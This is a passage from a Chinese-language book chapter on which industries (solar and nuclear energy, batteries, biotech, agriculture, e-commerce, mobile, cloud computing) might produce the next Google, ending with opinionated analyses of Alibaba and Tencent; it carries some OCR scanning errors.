上市的太阳能公司的股价炒得像2000年泡沫时代的互联网公司一样高。毫无疑问，一些太阳能公司会成为股市上的明星，但是它们无非又是另一个泡沫，而不可能是全面带动经济的成长点。\n目前太阳能和风能占世界能源用量的0。1％不到，即使增加10倍，也解决不了全球变暖的问题，更何况太阳能其实并不是最清洁的能源。如果以每提供一度电所产生的二氧化碳作为能源清洁度的衡量指标，那么太阳能是核能的两到三倍，和水能相当。为什么太阳能发电还会产生二氧化碳呢？\n因为制造太阳能发电的硅片是一种高能耗、高污染的工业，而且太阳能硅片的寿命只有10－15 年， 因此也是一种高浪费的能源方式。相比之下，核电站可以使用几十上百年。当然，可能有些读者会为”放射性污染“担心，但是核电站真正造成的人员伤害并不多，甚至远不如每年采煤死去的人多。1另一方面，核物质在自然界广泛存在，少量的放射性在我们周围随处都有，只是通常剂量微乎其微不会伤害我们而已。核电站的核废料都是打深井掩埋，能够辐射到地表的，比天然存在的还少。认为核电站会造成污染，其实首先是对核电的误解，其次是很多国家政府不愿意像公众公开核反应堆的真实情况造成不必要的恐慌。采用核电的另一个好处是，今天的核反应堆（应该是第四代了）使用的核燃料成本几乎可以是零。为什么呢？因为现在的核反应堆可以将核燃料中的80％－90％ 加以利用，而早期的只能利用5％ ，剩下的作为核废料深埋了。这些核废料都没有乱扔，而是有标记地保存的。现在只要把这些所谓的核废料取回来再利用，就可以满足今后全球60 年的电力需要。这应该是解决世界能源问题，并且降低二氧化碳排量最有效的办法。当然，在短期内，由于2011年3月日本东北部大地震带来的福岛核电站泄漏，导致了亚洲国家的核恐慌，核能发展的路途会更加漫长了。\n回过头来看太阳能，今天的太阳能发电成本是每度电0.3美元以上，而美国的电费和输电费各是0.1 美元左右，合在一起才0.2美元。从商业的角度讲，用太阳能发电实际上是“赔本买卖”。而核电的成本每度只要0.06美元左右（煤、石油和天然气发电成本都在0.1 美元以下） 。现在太阳能发电主要靠政府补贴维持。我们在前面提到，任何一个不能自己盈利的商业都不能引导潮流。\n有人可能认为，随着科技的发展，太阳能的发电效率会提高，也许能够盈利。但是这个效率的提高可没有一个摩尔定律之类的规律保证，事实上是，基于硅片的太阳能发电效率在过去的5年提高不过30％左右。现在已经上市的第一代太阳能发电公司，在今后的5 年里，都做不到将发电效率提高一倍。而现在创业的第二代太阳能公司最多能提高一倍的发电效率，即使这样，太阳能发电依然处于亏损状态，何况目前这些公司都在实验室阶段，还没有大规模的生产能力。即使有一天太阳能发电可以做到与核能同样的成本，也依然没有解决污染问题。美国的硅片生产和报废是在中国和其他发展中国家，它自己没有污染，但是却以邻为壑。\n当然，从商业上妨碍太阳能成为经济成长点的根本原因是核能“够用了”。\n在法国，核能贡献了几乎全部的电力，法国不仅自己用不完，而且还可以出口和用于电解水制造氢气一一最清洁的燃料。只要全世界都学习法国，全球温室效应的问题就会大为缓解。\n从法国的经验看， 真正的新能源其实是让有几十年历史的核能获得新生。\n如果是这样，得意的是美国的GE、西屋电气和法国的阿尔卡特等老公司，而不是什么新的千亿公司。\n综上所述，太阳能和其他可再生能源虽然可以代表一个新时代，但是它们于短期内在环保和经济效益上都远远不如核能，并且一旦没有了政府补贴根本生存不下去，因此无法成为真正的经济动力。\n尽管这一拨以太阳能为主的新能源不过是一场新的泡沫而己，但是和能源相关的产业还是大有前途的。今天全世界各国都意识到了全球暖化给我们带来的毁灭性威胁，并且或多或少地同意了减少各自的二氧化碳温室气体排放量，因此无论是靠太阳能还是靠核能， 全世界的能源产业必定要有一次大的革命。\n除了工业用能源是最大的二氧化碳来源外，美国和世界很多国家（包括中国）二氧化碳第二大的来源是汽车。美同一个家庭平均有两辆汽车， 一年要烧掉三、四千公升的汽油，排放7－9 吨的二氧化碳。如果能够采用核能发电，然后给汽车充电，全球变暖问题就彻底解决了，而这里面的关键技术是电池技术。现在的电动汽车电池充电一次只能使用不到200 公里，远远小于一箱油的500 公里，而且充电时间从几个小时到近10小时不等，非常不方便，这使得电动汽车很难跑出离家100 公里的距离。因此，电池和充电技术的突破，将彻底改变整个汽车工业的产业结构。也正是看到电动汽车的前景，著名投资人巴菲特才投资了中国发展电动汽车的公司比亚迪。\n所幸的是，一位斯坦福大学的华裔教授崔屹在电池方面还真取得了革命性的突破，他的纳米电池技术可以使得同样体积的电池的充电量比现在大几十倍，这个成果已经在实验室环境下完全得到了可重复性的成功。很多风险投资人，包括Google 的创始人都非常看好这项技术，并且为他投资成立了一家使这种新电池实现产品化的公司。当然，这项技术距离商业化还有很长的路要走。\n即使几年后电池技术不再是电动汽车的瓶颈，电动汽车的普及也还有很长的路要走，会遇到很多障碍。\n第一个障碍不是来自技术，而是来自石油公司。除日本外各主要工业国家的石油公司，包括中国的石油公司，都是其国民经济的支柱公司。它们不仅收入高，为各个国家上缴的利税商，并且雇员多， 而且它们很大程度上在从政治上左右着各国政府。它们在政府法律和政策的制定上有很大的影响力，它们为了自己集团的利益将不遗余力地阻扰和推迟新能源在汽车业的推广。\n第二个障碍来自各国政府和各级政府。电动汽车真正要实用，必须做到在任何充电站都能让任何汽车立即更换电池， 而不是等几个小时充电。这时，电池其实属于每个充电站公司， 而不是汽车的主人。这就像现在运送瓶装水的生意，大水罐子属于送水公司而不是用户。这就要求各国政府统一电池标准，各地政府同时兴建充电站。现在全世界虽然合作比以前紧密了，但是要让各国统一标准，可不是三五年能做到的。法国政府已经在这方面开了一个好头，开始制定并且在欧盟推广统一的电动汽车电池充电标准，但是要在全世界实施，依然遥遥无期。\n第三个障碍来自民间，也就是全民对核能的认可。因为只有核能才能提供足够的电，让全球的汽车跑起来。但是这一点是最难的，尤其是2011年日本地震后福岛核电站泄漏事件，给亚洲国家国民带来了巨大的恐惧心理， 而在欧美，人们倒没有很恐慌。\n鉴于这些困难，替代能源和电池在近期（ 5 年内）很难诞生一个Google这样的公司。\n23.3.2 生物和制药技术\n人总是有生老病死，我们无法回避。人一辈子总是离不开看病吃药，甚至我们花在吃药上的钱比花在吃饭上更多（美国一个家庭的保健每年要花掉上万美元，而吃饭可花不了这么多，当然天天下馆子挥霍的人除外） 。\n即使花了这么多钱，我们依然对很多疾病束手无策。随着世界人口的增加，寿命的增长， 人口老龄化及保健覆盖率的增加，全球对于医药的需求，甚至可以说是依赖性地越来越多。因此，诞生一两个革命性的生物制药和医疗（包括治疗方法和器械）用品公司是非常正常的。\n20 年前出现了基因科技和安进（Amgen） 两大生物公司，虽然它们依然无法和传统的制药公司辉瑞和默尔克（Merck） 相比，也没有能进入千亿美元俱乐部，但是它们在各自一个相当大的领域里，主导了全球的市场。\n这两家公司都是靠生物技术研制抗癌药物，安进每年有140 亿美元的营业额，是全球最大的制药公司辉瑞制药的1／3。同时它的市值达到了500 亿美元，超过辉瑞的1／3 。而基因科技在被瑞士罗氏制药收购以前，比安进更大一些。\n基因科技和安进的抗癌药可以杀死99％ ，或者更多的癌细胞，所以可以延长人的生命。但是，只要有一个癌细胞还活着，并且产生了抗药性， 它可以按几何级数增长的速度繁衍并最终不可控制。基因科技和安迸的产品无法解决这一个问题，使得它们未能更上一层楼，开创一个制药业全新的领域。但是，在今后的10 年里，由于生物科技的发展，特别是干细胞技术的发展和可能的应用出现比基因科技和安进更成功的生物技术公司的可能性非常大，毕竟人类的需求和市场是现成的。\n阻碍生物技术从研究到临床应用的最大阻力反而来自医学界本身，包括现有的制药公司、医院和最关键的美国食品与药物管理局（FDA）。在美国，医疗行业是一个非常具有保护性同时排外的行业，它的从业者，从制药公司到医院和医生的收入都非常高。虽然它们内部有竞争，但是对外它们非常注意保护自己的既得利益。所以，不仅新的人进入这个行业难，新的公司进入这个行业也难。这其中，以FDA 最甚，以至于很多现有的大公司也为它感到头疼。\n在美国，凡是药品，不包括维生素和中药等营养品，上市销售或用于临床试验，都要经过FDA 的批准。这个过程不仅漫长，而且难度大得超乎外界人的想象。FDA 审批制度和过程的本意是减少药物（ 和治疗方法）副作用带来的医疗事故。在1959 年以前，美国的药品管理较松，有点像现在的中国，什么药有效没效、有害无害都能上市。1959 年Kefauver 参议员鉴于美国药品疏于管理带来的很多医疗事故，提案扩大FDA 的监管范围。美国国会于1962 年通过了Kefauver－ Harris 修正案（ Kefauver－ HarrisAmendment） ，规定所有上市的新药必须有“足够的证据”证明比现有的药物有效，同时是“安全的”。这一修正案授予FDA 对所有制药公司的生杀大权。\nKefa uver－Harris 修正案和FDA 监管在使得美国药品的使用变得安全的同时，也大大限制了美国制药业的革新和发展。在一种新药（或治疗方法）发明出来并且完成了很多的动物实验后，发明者要向FDA 申请进行临床试验，做完一期二期临床试验，才有机会在医院普遍试用，然后申请上市。\n每一次申请要提供非常多的数据，证明新药不仅比旧的有效， 而且是安全的。由于临床试验很难找到完全公平的对比条件（动物实验比较容易），因此，要说服FDA 认可新药的功效是一件非常难的事。整个新药实验的周期，从临床试验到医院试用，是非常长的，需要几年甚至更长的时间。\n因此在上世纪70 年代14个最重要的新药中，有13个是在美国以外率先上市的，可见通过FDA的审批制度是多么艰难。\n到了20世纪80年代中期，由于FDA 迟迟不肯批准对一些抗艾滋病新药的使用，造成很多病人的死亡，美国国内对于FDA 的批评之声日涨，甚至针对FDA 爆发了大规模的抗议行动。迫于压力，FDA不得不对那些用于“救命”的新药在审批上加快进程，同时允许病人有可能使用这些尚未上市的新药，即病人有权使用尚未被批准的新药。即使有了这些改革，FDA的审批制度依然使得任何新的生物技术无法在几年里被临床采用，任何新兴的生物公司不可能复制Google的奇迹，在几年里一下成长起来。\n在中国，对新药的研发原本没有太多的约束， 有希望吸引世界上生物科技的精英到中国创业。可是由于过去管理过松而医疗事故频频， 现在矫枉过正又搞出了个行政效率上和FDA一样官僚、专业知识上还不如FDA的机构，中国在这个领域实现突破性发展的希望基本是零。\n阻碍生物技术应用的另一大障碍来自于伦理的考虑，其中和基因相关的技术在应用甚至研究中的阻力最大。虽然2009年思想开放并且喜欢新技术的奥巴马在担任了美国总统后，开放了对以干细胞研究为中心的基因技术的研究，但是，在过去的10年里， 这方面的研究近乎停滞，很难在今后短期时间内看到革命性的突破。何况即便技术在研究上有所突破，而在应用上还会受到社会伦理的挑战。\n因此，虽然生物和医疗技术有全社会的需求，有从人数到经济规模最大的市场，但是由于种种限制，它的创新周期特别长，加上法律的风险，所以这个行业不可能在短期（10年内） 诞生出下一个Google 。\n23.3.3 新绿色农业\n农业（指广义上的）是人类最古老的产业。过去的几百年里，农业从来就被认为是每况愈下，在罔民经济中越来越不重要的行业。很难想象农业和高科技会有什么联系。但是在历史上农业确确实实促成了一个重要的工业领域的诞生一一化工工业，并且这支撑着另一个领域一－生物技术。\n从出现人类到约100 年前的漫长岁月里，人类始终没有能很好地解决温饱问题。全世界绝大多数人被拴在土地上和庄园里，辛苦一年勉强生产出全世界够吃的食品。每逢风调雨顺，政治清明，温饱就暂时不成问题，否则就会有相当大比例的人口处于饥馑的状态。这里面的原因主要有4 条：缺乏机械，缺乏水电，缺乏肥料和农药，缺乏良种。100 多年来，尤其是19世纪70 年代以来，在西方一些发达国家这4 个问题基本上得到了解决。\n西方工业直到二战前，基本上以机械工业为主导，在19 世纪末农机已经在西方国家开始使用，并在20 世纪初得到普及。由于有了机械和化石能源（石油、煤和天然气） ，世界上的农田基本建设在短短几十年间基本完成，基本上做到了旱涝保收。而20 世纪初， 化工工业得到了长足的发展，造就了道尔化学、杜邦化学公司这样当时的高科技公司。从对社会的影响力讲，当年的杜邦公司可比今天的微软和苹果一点不差。这些公司将农业转变为生产粮食的“工业”，使得一个农业工人可以完成过去十几个人的劳动量。一次世界大战以后，随着对基因的了解和生物科技的发展，人类在短短的几十年里，培养出的“良种”超过了20 世纪以前人类历史上的总和，解决了农业的单产问题，释放出大量的耕地提供给城市化发展。到20 世纪末，全世界除了有战乱和独裁统治的地方，没有人们吃不饱的国家。\n凡事都有好坏两方面，随着工业化向农业渗透，以及生物技术，主要是转基因技术在农业中的推广， 一方面农业的收成成倍增加，而成本又降得非常低，使得全世界总体来讲由“不够吃”变成了“吃不完”。在西方的主要农业国，是在为生产的东西太多没人要而发愁， 在法国甚至出现葡萄酒比矿泉水便宜的怪事。另一方面，全世界的人却“越吃越不健康”，除了农药和化肥等带来的污染，还有转基因食品对人身体带来的潜在威胁（这一点至今很难有结论） 。因此，当全世界大多数国家个人收入有了非常大的提高后，人们又开始从“吃得饱”转而追求“吃得健康” 。\n但是我们每人每年花在农产品上的钱并不少， 或者说这个产业并不小。在农业上的一点突破，比如中国的杂交水稻，很容易拓展开， 它的效益比Google不知道大多少。实际上，如果有一种商业模式让当年的袁隆平教授垄断了杂交水稻技术， 他的公司也许是今天世界上最大的公司。但是，农业的研究和制药业一样，是周期很长的。如果有能够在近期几年内能见效的技术，一定是很多年前已经开始研究的了。很遗憾，我不是农业专家，也没有跟踪过农业技术，不知道世界上哪些农业技术会像化肥或杂交水稻那样带来革命。但是，我相信一定存在这种技术，并在不远的将来可能出现。这一次，它能让我们从”吃得饱“到”吃得健康“ 。\n23.3.4 电子商务\n电子商务的历史比Google 更长。可能有些读者会怀疑这个互联网上“古老”的行业是否还会有新的机会。但是，电子商务成长缓慢， 实际上才刚刚起步，可以用“方兴未艾”来形容。过去10 年电子商务在美国零售业中占的比例呈直线上升，即使在经济不景气的2008－2009 年也是如此，这个趋势至今没有减弱的迹象。今天，电子商务在美国零售中占3。896 ，还有非常大的成长空间。如果以现在的技术持续发展，那么，今后的5 年， 它在美国将达到1000 亿美元的市场规模。中国的电子商务今天只占到零售的296 左右，绝对交易金额相当于美国10 年前的水平，如果5 年后它能够在交易金额上达到美国今天的水平，也将增加三倍。这么大的市场空间，足以容纳一两个新的Google。\n但是在美国电子商务已经走向成熟，这方面的大机会其实已经不存在了。\n原因有二：\n首先。 eBay 和亚马逊的两种商业模式都是成功的（详见前面商业模式一章） ，虽然它们各有千秋。在中国，人们喜欢使用商家对商家（B2B），商家对个人（B2C） 和个人对个人（C2C） 的说法。如果套用这种说法，eBay 的模式基本上是B2C和C2C 的结合，而亚马逊基本上是B2C 。在美国，商业的门槛非常低，个人和商家没有本质区别，人们更喜欢把它们按照分散和集中的管理办法来区分。事实证明，只要电子商务中的欺诈行为存在一天，亚马逊的集中管理就比eBay 的分散式管理更能让消费者放心。由于亚马逊和eBay 的存在，美国电子商务本身已经元法创造出新的Google那么大的公司。\n众多的电子商务小商家，实际上要依靠Google ，或亚马逊和eBay 来存活，因为这三家是他们网络访问流量的来源，它们的发展只会强化这三家的地位，就如同以客户端为核心的个人计算机软硬件的发展只能强化微软和英特尔的地位一样。\n第二方面的原因是， 在美国，像沃尔玛和Home Depot 这样的连锁店系统非常发达，几乎渗入到每一个社区，人们可以很方便、很便宜地买到日常用品。何况这些连锁店也逐渐将它们的生意扩展到了互联网上。\n而在中国和一些亚洲国家，电子商务的潜力却可以造就出Google 这样的大型新型公司。这里面有很多美国不具备的条件。首先，由于这些国家电子商务占GDP 的比例比美国低很多， 4 成长的空间大得多。第二， 电子商务的产业链很多环节都不健全，比如支付和物流，这便有了更大的机会。\n第三，也是最重要的，美国在没有电子商务时，已经铺设了全国乃至全球的零售网。在美国， 主要的零售店都是连锁的，而且几乎是无所不在的，无论你住在什么地方，都可以很方便到附近的沃尔玛等连锁零售店买到所需的商品。在中国，零售网还没有建立起来的时侯，电子商务便出现了，因此中国可能会跳过铺设全国零售网这个过程（毕竟在全国开1 000 家超市是成本高、周期长的事情） ，代之以电子商务。中国可能永远不会出现沃尔玛，但是会出现一个和沃尔玛一样大的电子商务公司。我们在本章最后分析阿里巴巴等公司时还要再仔细论述。\n23.3.5 无线业务\n随着第三代无线技术（3G）的普及，由于苹果和Google 这两家最有活力的技术公司进入无线通信市场，无线业务将迎来一场全面的革命。历史上，历次技术革命都会缔造出新的王者，这次也不应当例外。\n到目前为止。 3G 革命的格局完完全全重复了30 年前PC 革命的模式。为了能更好地理解它，我们不妨简要回顾一下30 年前PC 产业的格局。\n苹果公司首先发明了PC （没有大学毕业的史蒂夫· 乔布斯也作为”PC“的发明人入选美国工程院院士） 。并且首先发明了非常艺术的、具有图形界面的麦金托什计算机。苹果在商业上是通吃从芯片（和摩托罗拉合作）和硬件设计、到操作系统、再到应用软件整个PC 生态链的各个环节，尤其是软件价值通过硬件实现这个商业模式。这种做法的好处是肥水不流外人田， 当然，坏处也非常明显，就是成本高、价格高，于是苹果的产品成为有钱人而不是大众的产品。因此， 它的市场份额在经过了开始的领先期后，就稳定在一个5％ 左右的细分市场上。\n而当时，另一种更成功的商业模式，是所谓的WinTel体系，即微软的Windows 操作系统加上英特尔的处理器，其他所有PC 的软硬件厂商向Windows 和Intel 靠拢。这个模式创造出巨大的PC机产业，包括巨额的销售额和从业人员。但是在这个产业中，真正长期稳定挣到大钱的公司只有2＋2 一共4 家。除了分别垄断操作系统和CPU 芯片的微软和英特尔两家外，还有在众多PC 厂商中经过生死搏斗打拼出来的两家最大的PC 厂商惠普和戴尔。前者代表了老一代计算机公司转型到以PC 为核心的公司成功的案例，而后者代表了赶上了PC 时代的新贵。其余的公司，有些抓住时机红火一阵挣了点小钱，有些连这些小钱都没有挣到，还有一些时亏时盈，勉强维持局面而已。而这些被淘汰的公司中，不乏曾经大名鼎鼎者，比如网景、莲花、康柏、DEC 、WordPerfect 、In formix 、Sybase 、Gateway 等等。\n现在，苹果还是当年的苹果，还依然走的是当年的老路，它从头吃到尾。\n这样，它无法依靠整个产业链上下游的力量将它的产品做成主流产品。这和乔布斯其人及苹果的基因是分不开的。因此， 它最终还是只能占到智能手机市场的5％ 的份额。而在智能手机方面， WinTel的格局已经形成。\nGoogle 的Android 取代了当年微软Windows 的地位，虽然它现在只占智能手机市场的1 ／10 不到，但是其前进的势头是包括苹果在内的任何公司都无法阻挡的。苹果公司再厉害， 也斗不过有几十家跨国公司和运营商组成的Android 联盟。而在处理器方面，以高通为首的一大两小（ Marvell和博通） ，当然还有它们背后的ARM ，像英特尔和AMD 那样控制处理器芯片的格局已经形成。抛开操作系统和处理器，现在做一款智能手机就像当年攒一台PC 机一样容易，谁都能办到。而正是因为谁都能办到，因此在手机制造上挣钱是很难的事。当然手机制造还需要有惠普和戴尔这样的角色。在传统的手机生产商中，市场份额不断下滑，而且长期亏损的摩托罗拉公司最早地放弃传统的手机，专注于Android 的智能手机，成功地抢占了市场的先机。它很可能像当年惠普那样起死回生，尤其是在2011 年甩掉了企业解决方案这个成长不快的部门后。而戴尔这个角色在手机领域尚未出现， 它应该是一个带有全新理念的新公司。如果完全按照传统PC 产业来分析，这是剩下的唯一出现Google 这种公司的机会。\n3G手机这个市场虽然巨大，但是如果重复PC 产业的老路， 产生一个新的Google 的机会并不多。最多能有一家新的戴尔。\n好在历史不是简单的重复。在3G 时代，基于3G 的服务会比PC 机时代带来更为巨大的商机。Google 公司就是基于这一点考虑，才敢于免费开放它的Android 操作系统。但是， 3G 的增值服务远不是Google 一家能吃下的。虽然目前在手机上最容易挣钱的应用还是搜索，而且手机搜索的商业转换率甚至好于传统互联网上的搜索，但是，从长远看，基于手机的支付和社区（包括游戏）商业前景非常乐观。因为Google 在这两个领域并不很领先。\n让我们先看看手机社区。建立基于手机社区的关键在于通过手机建立起巨大的用户群。在这一点上，到目前为止Twitter 最有王者相。Twitter是微博的鼻祖。我们在“互联网2.0” 一章中提到过博客对世界产生的巨大影响。但是，写博客实实在在要花掉很多时间和精力，不是业余写手轻易能做到的。为了解决这个不便之处， Twitter 的创始人威廉姆斯发明了一种乍一看很不合理的产品，仅仅将博客的字数限制在几十字以内，然后传播给大家。很多人开始觉得奇怪，这个几十字的限制是否让人们的交流变得很不方便。但是，很快人们发现，因为写几十字几乎不花时间，大家不再将这东西看成一种负担，而使得微博得以快速普及。同时，几十字的硬性规定，使得微搏的运营变得几乎无成本，而其他互联网2.0产品运营的成本异乎寻常地高。微博的这种属性很容易在输入不太方便的手机上推广，会毫无疑问地成为手机上最重要的服务。\n手机社区的功能当然远不止微博一种。短信曾经是亚洲手机市场的一个支柱，在中国更是一度占据了手机市场的半壁江山（这要感谢中国无线运营商高话费的商业政策，使得人们把移动电话中的电话功能降级到次要位置，取而代之的是较为便宜的短信） 。但是，我们现在可以大胆地预测，随着手机社区的出现，短信这个业务有可能在中国和亚洲迅速萎缩，就如同Facebook 出现后，它的用户写电子邮件的数量大幅减少一样。那么这部分市场有多大？可以说，当初的短信市场有多大它就有多大。在中国，短信创造出一个腾讯。那么手机社区至少还应该能创造出一个这么大的公司。\n手机的支付也将是一个了不起的行业。这里讲的支付不是过去那种给个手机号，发个短信的支付，而是利用智能手机的加密蓝牙和身份验证功能，取代信用卡在任何零售商店完成支付交易。电子支付无非是要确认个人的身份。手机是一个人身份最好的验证手段，它具有便携、通信方便的好处，并且可以根据安全需求加人多重保护，包括密码和生物特征（指纹、面孔和虹膜） 。在商店里，手机支付可以简单到把手机往收银机上一放就能完成转账。\n手机支付相比信用卡支付更方便的地方在于，它可以进行个人之间的交易。信用卡支付需要一个接收信用卡的机器， 这只有商家才有。而手机支付可以简单到形成于两部具有蓝牙功能的手机之间。只要输入和确认交易的金额，两部手机互相一“碰”，交易就完成了。当然，出门坐地铁和出租车也是同样简单，只要在地铁人口“碰” 一下，或者在出租车司机的手机上“碰”一下即可。做到这一点，我们今后就不需要带什么现金了。\n这里面的难点不在手机上，实际上今天的智能手机已经能提供这项功能了，它的关键在于建立起相应的商业网络和结算系统。\n23.3.6 云计算\n云计算不仅是今后最有希望的产业， 而且是上面很多产业，比如3G 移动通信的支柱。我们在上面一章已经专门介绍过，这里就不再赘述了。想强调的一点是， 如果通过云计算诞生一两个千亿美元的公司，首先会是Google 自己， 其次则是控制开发平台的Facebook ，而不会是新的面孔。\n23.4 关注亚太地区\n本书迄今为止，介绍的公司大多在美国，但是将来这个情况可能会有所变化。首先，华为如果上市，肯定会进入千亿俱乐部，由于它已经经背多年，而且已经成名多年，故暂不在我们讨论之列。接下来我们还是关注一下互联网公司，如果在不久的将来，全世界只剩下五家半主要的主营业务在互联网或电子商务的公司，我一点也不奇怪。这五家半公司应该是：Google ，它控制着全世界的信息源；亚马逊，它是电子商务中的沃尔玛；Facebook ，它控制着互联网的社区；Twitter ，它控制着手机的社区，但是毕竟它目前还太小，只能算半家；阿里巴巴， 它拥有全球最完整的电子商务的生态链和最大的营业额；腾讯，它拥有全世界最大的注册用户群， 并控制着中国五联网和手机网的虚拟社区。\n这里面中国的公司占两家。有人可能会问为什么没有中国的百度，因为它只是一个区域性互联网公司。有人把它比作中同的Google ，这个比喻并不恰当。Google 更多地是一个科技公司，而百度仅仅是一个互联网公司，就如同当年风光一时的雅虎是个技术竞争力不很强的互联网公司一样。科技公司可以通过不断创新，开拓新的成长点，而靠运营壮大起来的互联网公司在主营业务成熟后，成长就会成为很大的问题。我们不妨大胆地预测：百度现在很光鲜的中国搜索市场份额将被阿里巴巴和腾讯蚕食或限制。事实上如果把阿里巴巴的淘宝看做一种商品搜索，它的广告收入已经和百度处在同一个量级。百度难以成为国际化公司的原因是它在所有的非中国大陆市场上的努力都是失败的。相比之下阿里巴巴在海外的扩展至今是成功的。\n好了，让我们回过头来看看阿里巴巴和腾讯。阿里巴巴实际上不是一个以科技驱动的公司，它和戴尔有相似处， 是一个靠着非常好的商业模式在科技领域经营得非常成功的商业驱动的公司。阿里巴巴的业务目前有三块，它的传统业务一－B2B 的电子商务， 的C 的业务一一淘宝，以及在线支付业务一一支付宝。其中B2B 的电子商务在美国和世界上没有可对比的公司，而淘宝几乎是亚马逊和eBay 的总和。这两部分占掉了中国电子商务的几乎半壁江山，而支付宝则完全是PayPal 的翻版，控制了中国2／3 的在线支付。可以毫不夸张地讲，阿里巴巴已经完全占领中同电子市场的制高点，而且只要它不犯大的错误，现在找不出一家公司可以挑战它的商业地位。\n阿里巴巴的成功很多人归结为它的创始人马云的天赋和能力。这一点确实不容忽视，可以毫不夸张地讲，马云是当今中国五联网行业最有头脑、远见和执行力的人。很多人，包括马云自己都认为是阿里巴巴开创了中同的电子商务市场。从效果上看这一点并不错，但是有些因果倒置。事实上是，中同非常糟糕的批发和零售商业环境，要求必须出现一家阿里巴巴这样让 商业变得容易的公司。\n很多人可能不了解中国的商业流通环境是多么的恶劣，但是所有到过美国的人都发现，同样中同制造的商品在美国的价格要比在中国便宜得多。在美国即使是像梅西（ Macy's ） 这样的世界名牌百货店，里面名牌衣服的标价也大多是两位数（几十美元） ，而在中国即使是二流的商厦，里面稍微象点样的衣裳也是三位数的价。这不是因为美国的东西便宜，而是中罔大多数商品的零售价太高。一位在中国做私募基金的朋友对我讲，中国一般男衬衫的毛利高达60％ ，我虽然无法直接验证，但是同样质量的男衬衫在中国的零售价确实是美国零售价的两倍。在以高物价著称的日本，即使是东京银座最高档的百货店松屋，大部分服装和奢侈品的价格也比中国同类商品的价格便宜。中国自己制造的东西在自己家门口居然比远渡重洋之后要贵很多，这实在是有些荒谬，而导致这种荒谬现实的原因是中国的流通环节太多、服务也太恶劣。一个集装箱从广东运到北京的费用，远比它运到太平洋对岸的洛杉矶要高，因为中国的公路铁路收费太贵，而在美国从洛杉矶到旧金山五百公里的高速公路上是不需要交一分钱的过路费的。一个中同的小商品制造商，宁可接受沃尔玛2％ 的微薄利润， 也不愿以更高的价格卖给一家国内的批发商，因为沃尔玛从不拖欠它的货款，而卖给国内的批发商，收款总是有问题，最后一笔付款常常还收不到。这种恶劣的商业环境导致了中国流通渠道的成本大增。随着中罔的发展和社会进步，这种阻碍商业发展的情况必须得到改变。\n世界零售业过去的发展证明，当少数有信用的超级连锁公司能够控制主要的流通环节时，商品的流通成本就会大大下降，制造者和购买者都受益。\n如果退回20 年，中国很可能要走美同建立超级连锁店的做法，用几十年时间建立起自己的沃尔玛和建材城Home Depot。但是，由于互联网和电子商务的出现，中国有可能跳过这一步，直接建立在线电子商城。阿里巴巴就是顺应了这个潮流，脱颖而出。\n中国的电子商务比实体商务更难做一－没有信用体系，真正意义上的信用卡不普及，没有在线支付手段，没有物流保障。大部分试水电子商务的公司，包括著名的eBay 公司，都无法逾越这些障碍，很多公司不得不知难而退，很多商家和投资人甚至认定中国的电子商务发展必须再等很长的时间。而阿里巴巴的过人之处就是在于它以积极的态度，解决了大多数人认为无解的难题。没有信用系统，阿里巴巴就自己建立了一个；没有支付手段， 它就利用此契机开发了支付宝，这不仅解决了在阿里巴巴上交易的支付问题，而且扩展到解决中国整个在线甚至离线支付的问题；中小商家管理混乱，阿里巴巴就在它的B2B 部门开发了面向企业的应用软件；至于物流，它起初并没有进入这个高投资、低回报的部门，而是利用它巨大的交易量，通过与第三方的合作，在保障商家和用户的基础上，规范了整个物流行业的经营σ 可以毫不夸张地讲，在全世界没有哪家公司，包括eBay 和亚马逊，像阿里巴巴那样做到了控制住整个电子商务产业链中的所有关键性环节。因此，我可以毫不夸张地预言， 阿里巴巴会在很短的时间里，超过eBay 和亚马逊的总和，成为全球仅次于Google 的第二大互联网公司。我甚至还可以进一步预言，如果中国政府对它不加限制，它可以成为中国市值最大的公司。\n另一个值得关注的是在中国人人使用，但几乎所有人都不了解它的腾讯公司，因为它的产品QQ 比公司本身的名气更大。虽然早在2005 年我们在Google 里就和腾讯开始了合作，并且了解到它的即时通信产品QQ 几乎覆盖了所有的中国互联网用户，但是2009 年当腾讯人告诉我它的市值已经超过了eBay 和雅虎，是全球第三大的互联网公司时，还是让我大吃了一惊。腾讯的做法和Google 非常类似，通过一款产品抓住终端用户，然后通过一些服务从每一个用户身上挣钱。\n大多数人对于腾讯的了解来自于它的即时通信软件和服务QQ。当然，和Google 的搜索一样，它本身是不挣钱的，但是它锁定了几亿的用户。\n如同早几年很多人搞不清楚免费的Google 如何挣钱一样，今天大部分人依然搞不清楚腾讯是如何挣钱的， 当然更不会知道腾讯其实比百度大三倍，而且比阿里巴巴大，是当今全中国最大的互联网公司。除了即时通信，腾讯同时是中同最大的无线增值服务商和中国最大的网络游戏公司。同时，腾讯拥有中国最大的互联网2.0社区载体Qzone ，这有一点像Facebook 。\n对于腾讯了解更多的人会猜测它主要的收入来源是QQ 币，甚至有人认为腾讯在印钞票。这实际上只是看到了表面现象，而非本质。任何互联网公司都可以发行类似QQ 币的东西，但是这种虚拟的货币如果没有用是不会值钱的。QQ 币是腾讯网上的一种记账方式，与其说它是虚拟货币，不如说它更像一种在线支付办法。在腾讯的各项业务中， 一些服务看似免费，比如它的游戏，它的Qzone 社区，但是，如果玩的时间长了， 不免要花钱买一些高级服务，比如一种道具和脸谱，而腾讯所有的这些付费服务是用一种叫QQ 币的虚拟货币支付。有人认为，腾讯之所以盈利很好，是因为它可以印钞票一－QQ 币。照这个逻辑，一旦它的QQ 币推销不出去，或者说政策不允许它出售QQ 币，那么腾讯公司的根基就没有了。\n腾讯的商业模式是否真的是建立在这个根基很不牢固的QQ 币上的呢？\n事实并非如此，我倒更倾向于把QQ 币看成是一种类似PayPal 的支付手段，只是目前这种支付手段仅仅限于腾讯的产品和服务本身。事实上，腾讯公司并没有发行任何货币， QQ 币实际上也没有因为腾讯公司的盈利增加而开始通货膨胀而世界上任何一种真实的货币都存在通货膨胀） 。腾讯公司和用户之间，用户和用户之间， 实际上是通过QQ 币来结算它们提供的服务。腾讯公司的营收最终取决于它能提供的付费服务的多少，而非在其中流通的QQ 币的数量。实际上，如果腾讯的所有用户同时采用PayPal 取代QQ 币，作为内部记账方式，腾讯的营收不会少一分钱。这说明，腾讯公司盈利的关键之处在于它不断地推出新的收费服务，而非浮在表面的虚拟货币。\n腾讯公司几项业务中任何一项如果发展得好，都足以成为一个不小的公司。它的Qzone 和Facebook 很类似，虽然它的平台远没有Facebook 的有效。它的搜索虽然才刚刚起步，但是Google 和百度已经证明了搜索的第23 章下一个Google 111 